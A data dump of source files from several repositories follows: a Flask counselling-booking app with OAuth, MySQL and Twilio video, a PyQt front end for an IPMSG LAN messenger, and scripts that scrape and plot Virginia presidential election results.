id_info.get(\"email\")\r\n \r\n cur=mysql.connection.cursor()\r\n resultvalue=cur.execute(\"SELECT * FROM USERS WHERE user_id=%s\", (session[\"user\"],))\r\n if (resultvalue==0):\r\n print(resultvalue)\r\n print(\"userauth\")\r\n cur.execute(\"INSERT INTO USERS(user_id,email_id,name) VALUES(%s,%s,%s)\", (session[\"user\"],session[\"mail\"],session[\"name\"],))\r\n mysql.connection.commit()\r\n cur.close()\r\n\r\n return redirect(url_for(\"dashboard\"))\r\n\r\[email protected](\"/dashboard\")\r\ndef dashboard():\r\n if \"user\" in session:\r\n return render_template(\"dashboard.html\")\r\n else:\r\n return redirect(url_for(\"home\"))\r\n\r\n\r\[email protected](\"/profile\", methods = [\"POST\",\"GET\"])\r\ndef profile():\r\n if \"user\" in session:\r\n if request.method == \"POST\":\r\n userDetails = request.form\r\n gender = userDetails['gender']\r\n dob = userDetails['dob']\r\n cur=mysql.connection.cursor()\r\n if(dob!=\"\"):\r\n cur.execute(\"UPDATE USERS SET dob=%s WHERE user_id=%s\",(dob,session[\"user\"],))\r\n else :\r\n cur.execute(\"UPDATE USERS SET dob=NULL WHERE user_id=%s\",(session[\"user\"],))\r\n \r\n if(gender!=None):\r\n cur.execute(\"UPDATE USERS SET gender=%s WHERE user_id=%s\",(gender,session[\"user\"],))\r\n else :\r\n cur.execute(\"UPDATE USERS SET gender=NULL WHERE user_id=%s\",(session[\"user\"],))\r\n mysql.connection.commit()\r\n cur.close()\r\n\r\n cur=mysql.connection.cursor()\r\n resultvalue=cur.execute(\"SELECT * FROM USERS WHERE user_id=%s\", (session[\"user\"],))\r\n \r\n row = cur.fetchone()\r\n gender = row[4]\r\n dob = row[3]\r\n mysql.connection.commit()\r\n cur.close()\r\n name = session[\"name\"]\r\n mail=session[\"mail\"]\r\n imageurl=session[\"image\"]\r\n return render_template(\"profile.html\", name = session[\"name\"],mail=session[\"mail\"],imageurl=session[\"image\"], dob=dob , gender=gender)\r\n else:\r\n return redirect(url_for(\"home\"))\r\n\r\[email protected](\"/booking\")\r\ndef booking():\r\n if \"user\" in session:\r\n \r\n cur = mysql.connection.cursor()\r\n cur.execute(\"select * from counsellor\")\r\n result = cur.fetchall()\r\n mysql.connection.commit()\r\n cur.close()\r\n return render_template(\"booking.html\",tb = result) \r\n\r\n else:\r\n return redirect(url_for(\"home\"))\r\n \r\n\r\n\r\[email protected](\"/logout\")\r\ndef logout():\r\n for key in list(session.keys()):\r\n session.pop(key)\r\n return redirect(url_for(\"index\"))\r\n \r\[email protected](\"/slot/<id>\")\r\ndef slot(id):\r\n if \"user\" in session:\r\n cur = mysql.connection.cursor()\r\n cur.execute(\"Select * from appointment where user_id=%s\",(session[\"user\"],))\r\n res=cur.fetchall()\r\n cur.close()\r\n if(len(res)>0):\r\n return render_template(\"alreadybooked.html\")\r\n \r\n session[\"counsellor_id\"] = id\r\n print(session[\"counsellor_id\"])\r\n cur = mysql.connection.cursor()\r\n dct = {\"Monday\":[],\"Tuesday\":[],\"Wednesday\":[],\"Thursday\":[],\"Friday\":[],\"Saturday\":[],\"Sunday\":[]}\r\n cur.execute(\"select day_available,time_slot,flag from day_availability where counsellor_id = %s\",(id,))\r\n result = cur.fetchall()\r\n for row in result:\r\n dct[row[0]].append([row[1],row[2]==1])\r\n \r\n # for row in result:\r\n # dct[row].sort()\r\n print(dct)\r\n mysql.connection.commit()\r\n cur.close()\r\n l=[\"Monday\",\"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\",\"Sunday\"]\r\n # d={\r\n # \"Monday\":[[\"12\",True],[\"23\",False]],\r\n # \"Tuesday\":[[\"121\",False],[\"34\",True]],\r\n # \"Wednesday\":[[\"12\",True],[\"23\",False]],\r\n # \"Thursday\":[[\"12\",True],[\"23\",False]],\r\n # \"Friday\":[[\"12\",True],[\"23\",False]],\r\n # \"Saturday\":[[\"12\",True],[\"23\",False]],\r\n # \"Sunday\":[[\"12\",True],[\"23\",False]]\r\n # }\r\n date_lst = []\r\n day_lst = []\r\n for i in range(1,8):\r\n Day_Date = datetime.datetime.today() + datetime.timedelta(days=i)\r\n date_lst.append(Day_Date.strftime('%Y-%m-%d'))\r\n day_lst.append(l[Day_Date.weekday()])\r\n return render_template(\"slot.html\", ls=day_lst, d=dct,date_lst = date_lst, inc=datetime.timedelta(minutes=45))\r\n else:\r\n return redirect(url_for(\"home\"))\r\n\r\[email protected](\"/mysession\", methods = [\"POST\",\"GET\"])\r\ndef mysession():\r\n if \"user\" in session:\r\n if request.method == \"POST\":\r\n slotDetail = request.form\r\n print((slotDetail['btnradio']))\r\n time,date,day = (slotDetail['btnradio']).split('@')\r\n print(day)\r\n # session[\"day\"] = day\r\n # session[\"time\"]=time\r\n counsellor_id = session[\"counsellor_id\"]\r\n session[\"booked_counsellor\"]=counsellor_id\r\n user_id = session[\"user\"]\r\n cur = mysql.connection.cursor()\r\n \r\n if(counsellor_id==\"1\"):\r\n meetlink=\"https://meet.google.com/atr-jafq-gqt\"\r\n if(counsellor_id==\"2\"):\r\n meetlink=\"https://meet.google.com/ddf-dmbb-kya\"\r\n if(counsellor_id ==\"105700541288390913348\"):\r\n meetlink =\"https://meet.google.com/ddf-dmbb-kya\"\r\n\r\n print(day,time)\r\n cur.execute(\"INSERT INTO APPOINTMENT(Counsellor_Id,User_ID,Start_Time,Date,meet_link) VALUES(%s,%s,%s,%s,%s)\",(counsellor_id,user_id,time,date,meetlink,))\r\n cur.execute(\"update day_availability set flag=1 where day_available = %s AND time_slot=%s AND counsellor_id=%s\",(day,time,counsellor_id,))\r\n print(cur.fetchall())\r\n mysql.connection.commit()\r\n cur.close()\r\n uid=session[\"user\"]\r\n cur = mysql.connection.cursor()\r\n cur.execute(\"select * from ( SELECT * from APPOINTMENT natural join counsellor where user_id=%s) as a\",(session[\"user\"],))\r\n res=cur.fetchone()\r\n if (res!=0 and res!=None ):\r\n print(res)\r\n A_date=res[4]\r\n A_time=res[3]\r\n name=res[7]\r\n meet_link=res[5]\r\n A_counsellor=res[0]\r\n enable = False\r\n \r\n \r\n from datetime import date\r\n from datetime import datetime\r\n C_date = date.today()\r\n my_time = datetime.min.time()\r\n A_datetime = datetime.combine(A_date, my_time)\r\n A_datetime+=A_time\r\n C_datetime=datetime.now()\r\n print(type(C_datetime))\r\n # print(type(C_date))\r\n print(type(A_datetime),A_datetime)\r\n print(type(A_date), A_date)\r\n l=[\"Monday\",\"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\",\"Sunday\"]\r\n day=l[A_datetime.weekday()]\r\n print(day)\r\n \r\n #C_date = todays.strptime(date,\"%Y-%m-%d\")\r\n if(A_date==C_date and C_datetime-A_datetime>timedelta(seconds=1) and C_datetime-A_datetime <=timedelta(hours=1)):\r\n enable=True \r\n\r\n return render_template(\"mysessions.html\",C_datetime=C_datetime,A_datetime=A_datetime,time=A_time,date=A_date,name=name,meet_link=meet_link,enable=enable,A_day=day,A_counsellor=A_counsellor)\r\n return render_template(\"nosession.html\")\r\n else:\r\n return redirect(url_for(\"home\"))\r\[email protected](\"/delete\", methods = [\"POST\"])\r\ndef delete():\r\n if request.method == \"POST\":\r\n bookingDetail = request.form\r\n print((bookingDetail['btndelete']))\r\n day,time,booked_counsellor = (bookingDetail['btndelete']).split('@')\r\n cur = mysql.connection.cursor()\r\n cur.execute(\"update day_availability set flag=0 where day_available = %s AND time_slot=%s AND counsellor_id=%s\",(day,time,booked_counsellor,))\r\n cur = mysql.connection.cursor()\r\n cur.execute(\"DELETE FROM appointment WHERE user_id=%s\",(session[\"user\"],))\r\n cur.close()\r\n mysql.connection.commit()\r\n \r\n\r\n return redirect(url_for(\"mysession\"))\r\n\r\n\r\[email protected](\"/logincounsellor\")\r\ndef logincounsellor():\r\n if \"counsellorid\" in session:\r\n return redirect(url_for(\"counsellor_session\"))\r\n else:\r\n authorization_url, state = flowcounsellor.authorization_url()\r\n session[\"state\"] = state\r\n print(\"counsellor\")\r\n return redirect(authorization_url)\r\n\r\[email protected](\"/authorizecounsellor\")\r\ndef authorizecounsellor():\r\n if \"counsellorid\" in session:\r\n return redirect(url_for(\"counsellor_session\"))\r\n else:\r\n print(\"counsellorauth\")\r\n flowcounsellor.fetch_token(authorization_response=request.url)\r\n\r\n if (not (session[\"state\"] == request.args[\"state\"])):\r\n return redirect(url_for(\"counsellor_session\"))\r\n\r\n credentials = flowcounsellor.credentials\r\n request_session = requests.session()\r\n cached_session = cachecontrol.CacheControl(request_session)\r\n token_request = google.auth.transport.requests.Request(session=cached_session)\r\n\r\n id_info = id_token.verify_oauth2_token(\r\n id_token=credentials._id_token,\r\n request=token_request,\r\n audience=GOOGLE_CLIENT_ID\r\n )\r\n session[\"counsellorid\"] = id_info.get(\"sub\")\r\n session[\"counsellorname\"] = id_info.get(\"name\")\r\n session[\"counsellorimage\"] = id_info.get(\"picture\")\r\n session[\"counsellormail\"] = id_info.get(\"email\")\r\n \r\n cur=mysql.connection.cursor()\r\n resultvalue=cur.execute(\"SELECT * FROM Counsellor WHERE counsellor_id=%s\", (session[\"counsellorid\"],))\r\n if (resultvalue==0):\r\n print(resultvalue)\r\n cur.execute(\"INSERT INTO Counsellor(counsellor_id,email_id,name,image) VALUES(%s,%s,%s,%s)\", (session[\"counsellorid\"],session[\"counsellormail\"],session[\"counsellorname\"],session[\"counsellorimage\"],))\r\n \r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Friday','10:30:00',0)\", (session[\"counsellorid\"],))\r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Friday','11:15:00',0)\", (session[\"counsellorid\"],))\r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Friday','14:00:00',0)\", (session[\"counsellorid\"],))\r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Friday','14:45:00',0)\", (session[\"counsellorid\"],))\r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Monday','10:30:00',0)\", (session[\"counsellorid\"],))\r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Monday','11:15:00',0)\", (session[\"counsellorid\"],))\r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Monday','15:00:00',0)\", (session[\"counsellorid\"],))\r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Monday','15:45:00',0)\", (session[\"counsellorid\"],))\r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Saturday','01:00:00',0)\", (session[\"counsellorid\"],))\r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Sunday','12:15:00',0)\", (session[\"counsellorid\"],))\r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Thursday','10:30:00',0)\", (session[\"counsellorid\"],))\r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Thursday','11:15:00',0)\", (session[\"counsellorid\"],))\r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Thursday','14:00:00',0)\", (session[\"counsellorid\"],))\r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Tuesday','10:30:00',0)\", (session[\"counsellorid\"],))\r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Tuesday','11:15:00',0)\", (session[\"counsellorid\"],))\r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Wednesday','11:30:00',0)\", (session[\"counsellorid\"],))\r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Wednesday','12:15:00',0)\", (session[\"counsellorid\"],))\r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Wednesday','15:00:00',0)\", (session[\"counsellorid\"],))\r\n cur.execute(\"INSERT INTO day_availability VALUES (%s,'Wednesday','15:45:00',0)\", (session[\"counsellorid\"],))\r\n\r\n \r\n mysql.connection.commit()\r\n cur.close()\r\n\r\n return redirect(url_for(\"counsellor_session\"))\r\n\r\[email protected](\"/counsellor_session\")\r\ndef counsellor_session():\r\n if \"counsellorid\" not in session:\r\n return redirect(url_for(\"home\"))\r\n \r\n cur = mysql.connection.cursor()\r\n cur.execute(\"select * from appointment where Counsellor_id=%s\",(session[\"counsellorid\"],))\r\n \r\n result = cur.fetchall()\r\n user=[]\r\n for i in range(len(result)):\r\n temp=[]\r\n temp.append(result[i][3])\r\n temp.append(result[i][4])\r\n temp.append(result[i][5])\r\n cur.execute(\"SELECT * FROM users WHERE user_id=%s\",(result[i][2],))\r\n tempuser=cur.fetchall()\r\n temp.append(tempuser[0][2])\r\n temp.append(tempuser[0][1])\r\n temp.append(tempuser[0][3])\r\n temp.append(tempuser[0][4])\r\n temp.append(result[i][1])\r\n user.append(temp)\r\n mysql.connection.commit()\r\n # print(result)\r\n print(user)\r\n cur.close()\r\n return render_template(\"counsellor_sessions.html\",data=user) \r\n\r\n\r\n# video calling ---\r\n\r\n\r\n\r\nroomname=''\r\n\r\nload_dotenv()\r\ntwilio_account_sid = os.environ.get('TWILIO_ACCOUNT_SID')\r\ntwilio_api_key_sid = os.environ.get('TWILIO_API_KEY_SID')\r\ntwilio_api_key_secret = os.environ.get('TWILIO_API_KEY_SECRET')\r\ntwilio_client = Client(twilio_api_key_sid, twilio_api_key_secret,\r\n twilio_account_sid)\r\n\r\n\r\n\r\ndef get_chatroom(name):\r\n for conversation in twilio_client.conversations.conversations.stream():\r\n if conversation.friendly_name == name:\r\n return conversation\r\n\r\n # a conversation with the given name does not exist ==> create a new one\r\n return twilio_client.conversations.conversations.create(\r\n friendly_name=name)\r\n\r\n\r\[email protected]('/join')\r\ndef join():\r\n if \"user\" in session:\r\n return render_template('userjoin.html')\r\n elif \"counsellorid\" in session:\r\n return render_template('counsellorjoin.html')\r\n else:\r\n return redirect(url_for(\"home\"))\r\n\r\n \r\n\r\n\r\[email protected]('/video', methods=['POST'])\r\ndef video():\r\n #username = request.get_json(force=True).get('username')\r\n #id=request.get_json(force=True).get('appointmentxyz')\r\n #roomname=id\r\n # if not username:\r\n # abort(401)\r\n # if not id:\r\n # abort(401)\r\n if \"user\" in session:\r\n uid=session[\"user\"]\r\n cur = mysql.connection.cursor()\r\n cur.execute(\" SELECT * from APPOINTMENT where user_id=%s\",(session[\"user\"],))\r\n res=cur.fetchone()\r\n cur.close()\r\n roomname=res[0]\r\n conversation = get_chatroom(roomname)\r\n username=session[\"name\"]\r\n #username=str(random.randint(300,500))\r\n try:\r\n conversation.participants.create(identity=username)\r\n except TwilioRestException as exc:\r\n # do not error if the user is already in the conversation\r\n if exc.status != 409:\r\n raise\r\n \r\n token = AccessToken(twilio_account_sid, twilio_api_key_sid,\r\n twilio_api_key_secret, identity=username)\r\n token.add_grant(VideoGrant(room=roomname))\r\n token.add_grant(ChatGrant(service_sid=conversation.chat_service_sid))\r\n\r\n return {'token': token.to_jwt().decode(),\r\n 'conversation_sid': conversation.sid}\r\n elif \"counsellorid\" in session:\r\n cid=session[\"counsellorid\"]\r\n cur = mysql.connection.cursor()\r\n cur.execute(\" SELECT * from APPOINTMENT where counsellor_id=%s\",(session[\"counsellorid\"],))\r\n res=cur.fetchone()\r\n cur.close()\r\n roomname=res[0]\r\n conversation = get_chatroom(roomname)\r\n username=session[\"counsellorname\"]\r\n #username=str(random.randint(300,500))\r\n try:\r\n conversation.participants.create(identity=username)\r\n except TwilioRestException as exc:\r\n # do not error if the user is already in the conversation\r\n if exc.status != 409:\r\n raise\r\n \r\n token = AccessToken(twilio_account_sid, twilio_api_key_sid,\r\n twilio_api_key_secret, identity=username)\r\n token.add_grant(VideoGrant(room=roomname))\r\n token.add_grant(ChatGrant(service_sid=conversation.chat_service_sid))\r\n\r\n return {'token': token.to_jwt().decode(),\r\n 'conversation_sid': conversation.sid}\r\n else:\r\n return redirect(url_for(\"home\"))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True,port=8080)\r\n" } ]
4
BearRiding/ipmsg
https://github.com/BearRiding/ipmsg
4f95f949f1287ca12e589615bec0e0a405757612
04c466acf8789b2a38f71a3f66bff6c08999b2c4
72346826e465b614856765bb8e2e9ce6731874ab
refs/heads/master
2020-05-06T13:35:02.467137
2019-04-14T07:42:53
2019-04-14T07:42:53
180,144,450
4
0
null
null
null
null
null
[ { "alpha_fraction": 0.5986005067825317, "alphanum_fraction": 0.6027353405952454, "avg_line_length": 29.533981323242188, "blob_id": "951c0237d0f57ecb550aea09aed7c37aa24942a8", "content_id": "ce3e1fea6ab29e75d415bb6643af0e24f5a91272", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3144, "license_type": "no_license", "max_line_length": 91, "num_lines": 103, "path": "/ui.py", "repo_name": "BearRiding/ipmsg", "src_encoding": "UTF-8", "text": "import sys \nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\nimport core\nimport feiQCoreData\nimport feiQSendMsg\nimport feiQRecv\nimport os\nimport feiQTcp\nimport time\nfrom mainwindow import Ui_MainWindow\n\nclass tUpdateUI(QThread):\n\n _signal = pyqtSignal(str)\n\n def __init__(self):\n super(tUpdateUI, self).__init__()\n\n def run(self):\n while True:\n self._signal.emit(\"write OK\")\n time.sleep(1)\n\n def callback(self, msg):\n # print('callback')\n pass\n\nclass myui(QMainWindow, Ui_MainWindow):\n def __init__(self, parent=None):\n core.start()\n super(myui, self).__init__(parent)\n self.setupUi(self)\n self.btnOffline.setVisible(False)\n self.btnOffline.clicked.connect(self.btOffClicked)\n self.btnOnline.clicked.connect(self.btUpClicked)\n self.btnSendMsg.clicked.connect(self.btnMsgClicked)\n self.btnSendFile.clicked.connect(self.btnFileClicked)\n self.listWidget.clicked.connect(self.btnDownload)\n self.flushBegin()\n self.user_list = list()\n self.receives = list()\n\n def flushBegin(self):\n self.tupdate = tUpdateUI()\n self.tupdate._signal.connect(self.flush)\n self.tupdate.start()\n\n def flush(self):\n i = 0\n for x in self.user_list:\n i = i + 1\n if x not in feiQCoreData.user_list:\n self.user_list.remove(x)\n self.ipCombo.removeItem(i)\n for x in feiQCoreData.user_list:\n if x not in self.user_list:\n self.user_list.append(x)\n self.ipCombo.addItem(x['host_name'], x['ip'])\n if feiQRecv.message is not 'null':\n tempstr = self.ReceiveLabel.text() + '\\n' + feiQRecv.message\n self.ReceiveLabel.setText(tempstr)\n feiQRecv.message = 'null'\n print(tempstr)\n\n i = 0\n self.listWidget.clear()\n for x in feiQCoreData.download_file_list:\n file_name = x['file_name'].split('/')\n self.listWidget.addItem(str(i) + ' ' + str(x['dest_ip']) + ' ' + file_name[-1])\n i = i + 1\n\n def btnDownload(self, item):\n file_info = dict()\n file_info['type'] = \"download_file\"\n file_info['data'] = feiQCoreData.download_file_list[item.row()]\n feiQCoreData.file_info_queue.put(file_info)\n feiQCoreData.download_file_list.pop(item.row())\n\n def btUpClicked(self):\n feiQSendMsg.send_broadcast_online_msg()\n print(self.textEdit.toPlainText())\n self.btnOffline.setVisible(True)\n \n def btOffClicked(self): \n feiQSendMsg.send_broadcast_offline_msg()\n\n def btnMsgClicked(self):\n feiQSendMsg.send_msg_2_ip(self.ipCombo.currentData(), self.textEdit.toPlainText())\n \n def btnFileClicked(self):\n filename = QFileDialog.getOpenFileName()\n feiQSendMsg.send_file_2_ip(self.ipCombo.currentData(), filename[0].split('/')[-1])\n \n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n ex = myui()\n ex.show()\n sys.exit(app.exec_())\n core.start()" }, { "alpha_fraction": 0.758865237236023, "alphanum_fraction": 0.758865237236023, "avg_line_length": 13.199999809265137, "blob_id": "2d0ee4e2e1e19df54d877571d60d54597002bc6d", "content_id": "9fc790f22f1e8f44cebdb4d6314ed69db2012ac8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 265, "license_type": "no_license", "max_line_length": 50, "num_lines": 10, "path": "/README.md", "repo_name": "BearRiding/ipmsg", "src_encoding": "UTF-8", "text": "## IPMSG\n计网实验大作业\n在 https://github.com/jameszlj/IPMSG 基础上用pyqt写了图形界面\n文件接受改为了多线程接收\n# 待优化:\n- listWidget 增加进度条\n- 增加提示\n- 增加接收和忽略\n- 增加聊天窗口\n- 增加用户列表" }, { "alpha_fraction": 0.6721770763397217, "alphanum_fraction": 0.7052395343780518, "avg_line_length": 49.9571418762207, "blob_id": "c586b737109e0bdacd8feb0cd2e99731452dbc58", "content_id": "8afb06b6d993d1bd1b429fc5453d1143dc5e49b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3615, "license_type": "no_license", "max_line_length": 101, "num_lines": 70, "path": "/mainwindow.py", "repo_name": "BearRiding/ipmsg", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'mainwindow.ui'\n#\n# Created by: PyQt5 UI code generator 5.12.1\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\n\nclass Ui_MainWindow(object):\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(\"MainWindow\")\n MainWindow.resize(364, 689)\n self.centralWidget = QtWidgets.QWidget(MainWindow)\n self.centralWidget.setObjectName(\"centralWidget\")\n self.btnOnline = QtWidgets.QPushButton(self.centralWidget)\n self.btnOnline.setGeometry(QtCore.QRect(40, 20, 99, 27))\n self.btnOnline.setObjectName(\"btnOnline\")\n self.btnOffline = QtWidgets.QPushButton(self.centralWidget)\n self.btnOffline.setGeometry(QtCore.QRect(210, 20, 99, 27))\n self.btnOffline.setObjectName(\"btnOffline\")\n self.ipCombo = QtWidgets.QComboBox(self.centralWidget)\n self.ipCombo.setGeometry(QtCore.QRect(40, 80, 221, 25))\n self.ipCombo.setObjectName(\"ipCombo\")\n self.textEdit = QtWidgets.QTextEdit(self.centralWidget)\n self.textEdit.setGeometry(QtCore.QRect(30, 160, 281, 91))\n self.textEdit.setObjectName(\"textEdit\")\n self.textLabel = QtWidgets.QLabel(self.centralWidget)\n self.textLabel.setGeometry(QtCore.QRect(30, 130, 91, 17))\n self.textLabel.setObjectName(\"textLabel\")\n self.btnSendMsg = QtWidgets.QPushButton(self.centralWidget)\n self.btnSendMsg.setGeometry(QtCore.QRect(210, 270, 99, 27))\n self.btnSendMsg.setObjectName(\"btnSendMsg\")\n self.btnSendFile = QtWidgets.QPushButton(self.centralWidget)\n self.btnSendFile.setGeometry(QtCore.QRect(40, 270, 99, 27))\n self.btnSendFile.setObjectName(\"btnSendFile\")\n self.textLabel2 = QtWidgets.QLabel(self.centralWidget)\n self.textLabel2.setGeometry(QtCore.QRect(30, 320, 81, 17))\n self.textLabel2.setObjectName(\"textLabel2\")\n self.ReceiveLabel = QtWidgets.QLabel(self.centralWidget)\n self.ReceiveLabel.setGeometry(QtCore.QRect(30, 350, 311, 91))\n self.ReceiveLabel.setText(\"\")\n self.ReceiveLabel.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignTop)\n self.ReceiveLabel.setObjectName(\"ReceiveLabel\")\n self.listWidget = QtWidgets.QListWidget(self.centralWidget)\n self.listWidget.setGeometry(QtCore.QRect(0, 450, 351, 192))\n self.listWidget.setObjectName(\"listWidget\")\n MainWindow.setCentralWidget(self.centralWidget)\n self.statusBar = QtWidgets.QStatusBar(MainWindow)\n self.statusBar.setObjectName(\"statusBar\")\n MainWindow.setStatusBar(self.statusBar)\n self.menuBar = QtWidgets.QMenuBar(MainWindow)\n self.menuBar.setGeometry(QtCore.QRect(0, 0, 364, 29))\n self.menuBar.setObjectName(\"menuBar\")\n MainWindow.setMenuBar(self.menuBar)\n\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n _translate = QtCore.QCoreApplication.translate\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))\n self.btnOnline.setText(_translate(\"MainWindow\", \"上线\"))\n self.btnOffline.setText(_translate(\"MainWindow\", \"下线\"))\n self.textLabel.setText(_translate(\"MainWindow\", \"要发送的消息\"))\n self.btnSendMsg.setText(_translate(\"MainWindow\", \"发送消息\"))\n self.btnSendFile.setText(_translate(\"MainWindow\", \"发送文件\"))\n self.textLabel2.setText(_translate(\"MainWindow\", \"接受的消息\"))\n\n\n" }, { "alpha_fraction": 0.6038251519203186, "alphanum_fraction": 0.7240437269210815, "avg_line_length": 19.33333396911621, "blob_id": "bf3f38ac45f547a2b24ac5d13147609c2bb2535c", "content_id": "3fc84436a6f9040b777f6ea52074885d15624684", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 924, "license_type": "no_license", "max_line_length": 41, "num_lines": 36, "path": "/feiQCoreData.py", "repo_name": "BearRiding/ipmsg", "src_encoding": "UTF-8", "text": "# 保存udp套接字\nudp_socket = None\n\n# 用户相关信息\nfeiQ_port = 2425\nfeiQ_version = 1\nfeiQ_user_name = \"BearKing_user\"\nfeiQ_host_name = 'BearKing_host'\nbroadcast_ip = '10.24.63.255' # 广播ip\n\n# 飞鸽command\nIPMSG_BR_ENTRY = 0x00000001 # 表示由用户上线\nIPMSG_BR_EXIT = 0x00000002 # 由用户离开\nIPMSG_SENDMSG = 0x00000020 # 表示 发送消息\nIPMSG_ANSENTRY = 0x00000003\nIPMSG_RECVMSG = 0x00000021 # 当告知对方 已收到消息\n\n# optin for all command\nIPMSG_FILEATTACHOPT = 0x00200000 # 文件消息\n\n# file_types for fileattach command\nIPMSG_FILE_REGULAR = 0x00000001 # 普通文件\n# 下载文件 tcp发送\nIPMSG_GETFILEDATA = 0x00000060\n\n# 用户列表\nuser_list = list() # 保存在线用户列表\n# 保存文件包编号\npacket_id = 0\nfile_id = 0\n# 一个队列来进程间通信\nfile_info_queue = None\n# 保存文件\nfile_list = list()\n# 保存下载文件\ndownload_file_list = list()\n" } ]
4
harris-ippp/hw-6-yeungf1
https://github.com/harris-ippp/hw-6-yeungf1
b8879409c21194bdb853d6d6fa84a63fbe185f5e
b0b632f7699f260bef28fbf8545dbb7f905b076a
e9ad92bde0db5ee791079593d98c8c348dbf4117
refs/heads/master
2021-07-25T09:05:36.762374
2017-11-08T06:16:36
2017-11-08T06:16:36
109,085,578
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6642958521842957, "alphanum_fraction": 0.6884779334068298, "avg_line_length": 26.038461685180664, "blob_id": "adfdecff43f36aa445c44bf5595911b1369f90f8", "content_id": "dc4220c95d2158a12641f87de34b0e074af54b6e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 703, "license_type": "no_license", "max_line_length": 124, "num_lines": 26, "path": "/e2.py", "repo_name": "harris-ippp/hw-6-yeungf1", "src_encoding": "UTF-8", "text": "import requests\nimport bs4\nimport csv\n\nmain_url = 'http://historical.elections.virginia.gov/elections/search/year_from:1924/year_to:2016/office_id:1/stage:General'\nresp = requests.get(main_url)\nhtml = resp.content\nsoup = bs4.BeautifulSoup(html, 'html.parser')\n\nrow1 = soup.find_all(\"tr\", \"election_item\")\n\nlastyear= row1[0]\n\nurl_template = \"http://historical.elections.virginia.gov/elections/download/{}/precincts_include:0/\"\n\nfor x in row1:\n year=x.td.text\n year_id=x['id'][-5:]\n\n url_download = url_template.replace(\"{}\", year_id)\n\n resp = requests.get(url_download)\n\n file_name = \"president_general_\" + year + \".csv\"\n with open (file_name, \"w\") as out:\n out.write(resp.text)\n" }, { "alpha_fraction": 0.6898733973503113, "alphanum_fraction": 0.7257384061813354, "avg_line_length": 23.947368621826172, "blob_id": "ae4503203044b0c5158d3b74892c05ab0168ebc3", "content_id": "57fbfc58d1776acb8509db45709fcb5d2fe5e2f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 474, "license_type": "no_license", "max_line_length": 122, "num_lines": 19, "path": "/e1.py", "repo_name": "harris-ippp/hw-6-yeungf1", "src_encoding": "UTF-8", "text": "import bs4\nfrom bs4 import BeautifulSoup\nimport requests\nimport re\n\nmain_url='http://historical.elections.virginia.gov/elections/search/year_from:1924/year_to:2016/office_id:1/stage:General'\nresp=requests.get(main_url)\nhtml=resp.content\nsoup=bs4.BeautifulSoup(html, 'html.parser')\n\nrow1=soup.find_all(\"tr\", \"election_item\")\n\nlastyear= row1[0]\nlastyear['id']\n\nfor x in row1:\n year=x.td.text\n year_id=x['id'][-5:]\n print(year, year_id, file=open('ELECTION_ID', 'a'))\n" }, { "alpha_fraction": 0.7016128897666931, "alphanum_fraction": 0.7148617506027222, "avg_line_length": 41.34146499633789, "blob_id": "2a40e6bd973eb2225de2a26c52975668655b226e", "content_id": "b5d266d6448662d250dd5607255768b983db0ca4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1736, "license_type": "no_license", "max_line_length": 106, "num_lines": 41, "path": "/e3.py", "repo_name": "harris-ippp/hw-6-yeungf1", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndf_election = []\nfor i in range(1924,2020,4):\n header = pd.read_csv(\"president_general_{}.csv\".format(i), nrows = 5).dropna(axis = 1)\n d = header.iloc[0].to_dict()\n df = pd.read_csv(\"president_general_{}.csv\".format(i), index_col = 0, thousands = \",\", skiprows = [1])\n df.rename(inplace = True, columns = d)\n df.dropna(inplace = True, axis = 1)\n df[\"Year\"] = i\n df_election.append(df.loc[:,[\"Democratic\",\"Republican\",\"Total Votes Cast\",\"Year\"]])\n\ndf = pd.concat(df_election)\n\ndf[\"Republican Share\"]=df[\"Republican\"]/df[\"Total Votes Cast\"]\n\n#Accomack county:\nAccomackCounty = df.loc['Accomack County'].sort_values(by = 'Year', ascending = True)\nfigure1 = AccomackCounty.plot(x =\"Year\", y=\"Republican Share\")\nplt.title(\"Republican Vote Share of Accomack 